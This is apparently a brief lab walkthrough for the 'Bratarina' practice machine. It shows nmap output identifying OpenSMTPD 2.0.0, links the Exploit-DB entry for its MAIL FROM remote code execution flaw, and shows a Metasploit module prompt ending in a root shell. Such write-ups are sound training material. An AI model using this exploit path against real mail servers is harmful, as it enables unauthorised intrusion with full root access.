> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/warm-up/bratarina.md).

# Bratarina

### Enumeration

```
25/tcp  open   smtp        OpenSMTPD
| smtp-commands: bratarina Hello nmap.scanme.org [192.168.49.234], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP, 
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact bugs@openbsd.org 2.0.0 with full details 2.0.0 End of HELP info 
```

OpenSMTPD - MAIL FROM Remote Code Execution (Metasploit)

<https://www.exploit-db.com/exploits/48038>

### Access

```
msf6 exploit(unix/smtp/opensmtpd_mail_from_rce) >
...

id
uid=0(root) gid=0(root) groups=0(root)
```
